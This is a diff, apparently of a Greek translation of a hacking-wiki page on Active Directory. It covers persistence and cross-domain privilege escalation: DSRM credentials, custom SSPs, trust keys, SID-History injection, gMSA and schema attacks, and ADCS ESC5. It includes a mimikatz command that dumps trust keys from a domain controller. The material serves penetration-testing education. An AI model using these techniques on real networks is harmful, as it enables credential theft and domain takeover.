[**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group) [**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### Διαπιστεύσεις DSRM ### Διαπιστευτήρια DSRM
Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού Διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό διαχειριστή. Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας **τοπικός διαχειριστής** λογαριασμός. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό διαχειριστή.
{{#ref}} {{#ref}}
dsrm-credentials.md dsrm-credentials.md
@ -457,7 +457,7 @@ acl-persistence-abuse/
### Περιγραφείς Ασφαλείας ### Περιγραφείς Ασφαλείας
Οι **περιγραφείς ασφαλείας** χρησιμοποιούνται για να **αποθηκεύουν** τα **δικαιώματα** που έχει ένα **αντικείμενο** **πάνω** σε ένα **αντικείμενο**. Εάν μπορείτε απλώς να **κάνετε** μια **μικρή αλλαγή** στον **περιγραφέα ασφαλείας** ενός αντικειμένου, μπορείτε να αποκτήσετε πολύ ενδιαφέροντα δικαιώματα πάνω σε αυτό το αντικείμενο χωρίς να χρειάζεται να είστε μέλος μιας προνομιακής ομάδας. Οι **περιγραφείς ασφαλείας** χρησιμοποιούνται για να **αποθηκεύουν** τα **δικαιώματα** που έχει ένα **αντικείμενο** **πάνω** σε ένα **αντικείμενο**. Εάν μπορείτε απλώς να **κάνετε** μια **μικρή αλλαγή** στον **περιγραφέα ασφαλείας** ενός αντικειμένου, μπορείτε να αποκτήσετε πολύ ενδιαφέροντα δικαιώματα πάνω σε αυτό το αντικείμενο χωρίς να χρειάζεται να είστε μέλος μιας προνομιούχας ομάδας.
{{#ref}} {{#ref}}
security-descriptors.md security-descriptors.md
@ -474,7 +474,7 @@ skeleton-key.md
### Custom SSP ### Custom SSP
[Μάθετε τι είναι ένα SSP (Security Support Provider) εδώ.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\ [Μάθετε τι είναι ένα SSP (Security Support Provider) εδώ.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **συλλάβετε** σε **καθαρό κείμενο** τις **διαπιστεύσεις** που χρησιμοποιούνται για την πρόσβαση στη μηχανή.\\ Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **συλλάβετε** σε **καθαρό κείμενο** τα **διαπιστευτήρια** που χρησιμοποιούνται για την πρόσβαση στη μηχανή.\\
{{#ref}} {{#ref}}
custom-ssp.md custom-ssp.md
@ -491,16 +491,16 @@ dcshadow.md
### Επιμονή LAPS ### Επιμονή LAPS
Προηγουμένως έχουμε συζητήσει πώς να κλιμακώσετε δικαιώματα αν έχετε **αρκετά δικαιώματα για να διαβάσετε τους κωδικούς πρόσβασης LAPS**. Ωστόσο, αυτοί οι κωδικοί πρόσβασης μπορούν επίσης να χρησιμοποιηθούν για να **διατηρήσουν την επιμονή**.\ Προηγουμένως έχουμε συζητήσει πώς να κλιμακώσετε δικαιώματα εάν έχετε **αρκετά δικαιώματα για να διαβάσετε τους κωδικούς πρόσβασης LAPS**. Ωστόσο, αυτοί οι κωδικοί πρόσβασης μπορούν επίσης να χρησιμοποιηθούν για **διατήρηση επιμονής**.\
Ελέγξτε: Ελέγξτε:
{{#ref}} {{#ref}}
laps.md laps.md
{{#endref}} {{#endref}}
## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστευμένοι Τομείς ## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστοσύνες Τομέα
Η Microsoft βλέπει το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η συμβιβασμένη ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε συμβιβασμό ολόκληρου του Δάσους**. Η Microsoft βλέπει το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**.
### Βασικές Πληροφορίες ### Βασικές Πληροφορίες
@ -513,25 +513,25 @@ laps.md
1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του. 1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του.
2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς. 2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**. 3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**.
4. Το inter-realm TGT κρυπτογραφείται με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα. 4. Το inter-realm TGT κρυπτογραφείται με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της αμφίδρομης εμπιστοσύνης τομέα.
5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**. 5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**.
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να αποκτήσει πρόσβαση ο πελάτης. 6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης.
7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2. 7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2.
### Διάφορες εμπιστοσύνες ### Διάφορες εμπιστοσύνες
Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε να έχετε πρόσβαση σε πόρους μόνο μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.** Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε να έχετε πρόσβαση σε πόρους μόνο μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο**.
Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Outbound trust**; και στον **Τομέα B**, αυτό θα ήταν μια **Inbound trust**. Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Outbound trust**; και στον **Τομέα B**, αυτό θα ήταν μια **Inbound trust**.
**Διαφορετικές σχέσεις εμπιστοσύνης** **Διαφορετικές σχέσεις εμπιστοσύνης**
- **Parent-Child Trusts**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού. - **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια αμφίδρομη μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού.
- **Cross-link Trusts**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, το ταξίδι συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα. - **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, το ταξίδι συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
- **External Trusts**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες. - **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
- **Tree-root Trusts**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου προστιθέμενου ριζικού δέντρου. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ριζών δέντρων είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>). - **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας. - **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια αμφίδρομη μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας.
- **MIT Trusts**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα Kerberos εκτός του οικοσυστήματος Windows. - **Εμπιστοσύνες MIT**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos τομείς. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα Kerberos εκτός του οικοσυστήματος Windows.
#### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης** #### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης**
@ -541,14 +541,14 @@ laps.md
### Διαδρομή Επίθεσης ### Διαδρομή Επίθεσης
1. **Καταγράψτε** τις σχέσεις εμπιστοσύνης 1. **Καταγράψτε** τις σχέσεις εμπιστοσύνης
2. Ελέγξτε αν οποιοδήποτε **ασφαλές κύριο** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω εγγραφών ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό). 2. Ελέγξτε αν οποιοδήποτε **ασφαλές κύριο** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω καταχωρήσεων ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό).
1. Το kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι μια άλλη επιλογή. 1. Το kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι μια άλλη επιλογή.
3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταβούν** μέσω τομέων. 3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταπηδήσουν** μέσω τομέων.
Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε έναν άλλο τομέα μέσω τριών κύριων μηχανισμών: Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε άλλο τομέα μέσω τριών κύριων μηχανισμών:
- **Τοπική Συμμετοχή Ομάδας**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο σε αυτή τη μηχανή. - **Τοπική Συμμετοχή σε Ομάδες**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο σε αυτή τη μηχανή.
- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας. - **Συμμετοχή σε Ομάδες Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας.
- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή. - **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή.
### Κλιμάκωση Δικαιωμάτων Δάσους από Παιδί σε Γονέα ### Κλιμάκωση Δικαιωμάτων Δάσους από Παιδί σε Γονέα
@ -565,7 +565,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
``` ```
> [!WARNING] > [!WARNING]
> Υπάρχουν **2 αξιόπιστα κλειδιά**, ένα για _Child --> Parent_ και ένα άλλο για _Parent_ --> _Child_.\ > Υπάρχουν **2 αξιόπιστα κλειδιά**, ένα για _Child --> Parent_ και ένα άλλο για _Parent_ --> _Child_.\
> Μπορείτε να δείτε αυτό που χρησιμοποιείται από το τρέχον domain με: > Μπορείτε να χρησιμοποιήσετε το κλειδί που χρησιμοποιείται από το τρέχον domain με:
> >
> ```bash > ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -574,37 +574,37 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History Injection #### SID-History Injection
Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με SID-History injection: Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με την ένεση SID-History:
{{#ref}} {{#ref}}
sid-history-injection.md sid-history-injection.md
{{#endref}} {{#endref}}
#### Exploit writeable Configuration NC #### Εκμετάλλευση γράψιμου Configuration NC
Η κατανόηση του πώς μπορεί να εκμεταλλευτεί η Configuration Naming Context (NC) είναι κρίσιμη. Η Configuration NC λειτουργεί ως κεντρική αποθήκη για δεδομένα διαμόρφωσης σε ένα δάσος σε περιβάλλοντα Active Directory (AD). Αυτά τα δεδομένα αναπαράγονται σε κάθε Domain Controller (DC) εντός του δάσους, με τα writable DCs να διατηρούν μια εγ writable αντίγραφο της Configuration NC. Για να εκμεταλλευτεί αυτό, πρέπει να έχετε **SYSTEM privileges σε ένα DC**, κατά προτίμηση σε ένα child DC. Η κατανόηση του πώς μπορεί να εκμεταλλευτεί το Configuration Naming Context (NC) είναι κρίσιμη. Το Configuration NC λειτουργεί ως κεντρική αποθήκη για δεδομένα διαμόρφωσης σε ένα δάσος σε περιβάλλοντα Active Directory (AD). Αυτά τα δεδομένα αναπαράγονται σε κάθε Domain Controller (DC) εντός του δάσους, με τα writable DCs να διατηρούν μια γράψιμη αντίγραφο του Configuration NC. Για να εκμεταλλευτεί αυτό, πρέπει να έχετε **SYSTEM privileges σε ένα DC**, κατά προτίμηση σε ένα child DC.
**Link GPO to root DC site** **Σύνδεση GPO με το root DC site**
Το Sites container της Configuration NC περιλαμβάνει πληροφορίες σχετικά με όλους τους υπολογιστές που είναι συνδεδεμένοι στο domain εντός του AD δάσους. Λειτουργώντας με SYSTEM privileges σε οποιοδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs στους root DC sites. Αυτή η ενέργεια ενδέχεται να θέσει σε κίνδυνο το root domain μέσω της χειραγώγησης πολιτικών που εφαρμόζονται σε αυτούς τους ιστότοπους. Το Sites container του Configuration NC περιλαμβάνει πληροφορίες σχετικά με όλα τα sites υπολογιστών που είναι συνδεδεμένα στο domain εντός του δάσους AD. Λειτουργώντας με SYSTEM privileges σε οποιοδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs με τα root DC sites. Αυτή η ενέργεια ενδέχεται να θέσει σε κίνδυνο το root domain, χειραγωγώντας τις πολιτικές που εφαρμόζονται σε αυτά τα sites.
Για λεπτομερείς πληροφορίες, μπορείτε να εξερευνήσετε έρευνες σχετικά με [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). Για λεπτομερείς πληροφορίες, μπορείτε να εξερευνήσετε έρευνες σχετικά με [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Compromise any gMSA in the forest** **Συμβιβασμός οποιουδήποτε gMSA στο δάσος**
Ένας επιθετικός παράγοντας περιλαμβάνει την στόχευση προνομιακών gMSAs εντός του domain. Το KDS Root key, που είναι απαραίτητο για τον υπολογισμό των κωδικών πρόσβασης των gMSAs, αποθηκεύεται στην Configuration NC. Με SYSTEM privileges σε οποιοδήποτε DC, είναι δυνατή η πρόσβαση στο KDS Root key και ο υπολογισμός των κωδικών πρόσβασης για οποιοδήποτε gMSA σε όλο το δάσος. Ένας επιθετικός παράγοντας περιλαμβάνει την στόχευση προνομιακών gMSAs εντός του domain. Το KDS Root key, που είναι απαραίτητο για τον υπολογισμό των κωδικών πρόσβασης των gMSAs, αποθηκεύεται στο Configuration NC. Με SYSTEM privileges σε οποιοδήποτε DC, είναι δυνατό να αποκτήσετε πρόσβαση στο KDS Root key και να υπολογίσετε τους κωδικούς πρόσβασης για οποιοδήποτε gMSA σε όλο το δάσος.
Λεπτομερής ανάλυση μπορεί να βρεθεί στη συζήτηση σχετικά με [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). Λεπτομερής ανάλυση μπορεί να βρεθεί στη συζήτηση σχετικά με [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Schema change attack** **Επίθεση αλλαγής σχήματος**
Αυτή η μέθοδος απαιτεί υπομονή, περιμένοντας τη δημιουργία νέων προνομιακών AD αντικειμένων. Με SYSTEM privileges, ένας επιτιθέμενος μπορεί να τροποποιήσει το AD Schema για να παραχωρήσει σε οποιονδήποτε χρήστη πλήρη έλεγχο σε όλες τις κλάσεις. Αυτό θα μπορούσε να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση και έλεγχο σε νεοδημιουργημένα AD αντικείμενα. Αυτή η μέθοδος απαιτεί υπομονή, περιμένοντας τη δημιουργία νέων προνομιακών AD αντικειμένων. Με SYSTEM privileges, ένας επιτιθέμενος μπορεί να τροποποιήσει το AD Schema για να παραχωρήσει σε οποιονδήποτε χρήστη πλήρη έλεγχο σε όλες τις κλάσεις. Αυτό θα μπορούσε να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση και έλεγχο σε νεοδημιουργημένα AD αντικείμενα.
Περισσότερη ανάγνωση είναι διαθέσιμη σχετικά με [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). Περισσότερη ανάγνωση είναι διαθέσιμη σχετικά με [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**From DA to EA with ADCS ESC5** **Από DA σε EA με ADCS ESC5**
Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η εκμετάλλευση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5. Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Δημόσιου Κλειδιού Υποδομής (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στο Configuration NC, η εκμετάλλευση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5.
Περισσότερες λεπτομέρειες σχετικά με αυτό μπορούν να διαβαστούν στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). Περισσότερες λεπτομέρειες σχετικά με αυτό μπορούν να διαβαστούν στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
``` ```
Σε αυτό το σενάριο **το domain σας** **εμπιστεύεται** κάποιες **privileges** σε έναν κύριο από **διαφορετικά domains**. Σε αυτό το σενάριο **το domain σας** **εμπιστεύεται** κάποιες **privileges** σε έναν κύριο από **διαφορετικά domains**.
Ωστόσο, όταν ένα **domain είναι εμπιστευμένο** από το εμπιστευμένο domain, το εμπιστευμένο domain **δημιουργεί έναν χρήστη** με ένα **προβλέψιμο όνομα** που χρησιμοποιεί ως **κωδικό τον εμπιστευμένο κωδικό**. Αυτό σημαίνει ότι είναι δυνατό να **προσεγγίσετε έναν χρήστη από το εμπιστευμένο domain για να εισέλθετε στο εμπιστευμένο** για να τον καταγράψετε και να προσπαθήσετε να κλιμακώσετε περισσότερες privileges: Ωστόσο, όταν ένα **domain είναι εμπιστευμένο** από το εμπιστευόμενο domain, το εμπιστευμένο domain **δημιουργεί έναν χρήστη** με ένα **προβλέψιμο όνομα** που χρησιμοποιεί ως **κωδικό τον εμπιστευμένο κωδικό**. Αυτό σημαίνει ότι είναι δυνατό να **προσεγγίσετε έναν χρήστη από το εμπιστευόμενο domain για να εισέλθετε στο εμπιστευμένο** για να τον καταγράψετε και να προσπαθήσετε να κλιμακώσετε περισσότερες privileges:
{{#ref}} {{#ref}}
external-forest-domain-one-way-outbound.md external-forest-domain-one-way-outbound.md
@ -658,19 +658,21 @@ rdp-sessions-abuse.md
### **Φιλτράρισμα SID:** ### **Φιλτράρισμα SID:**
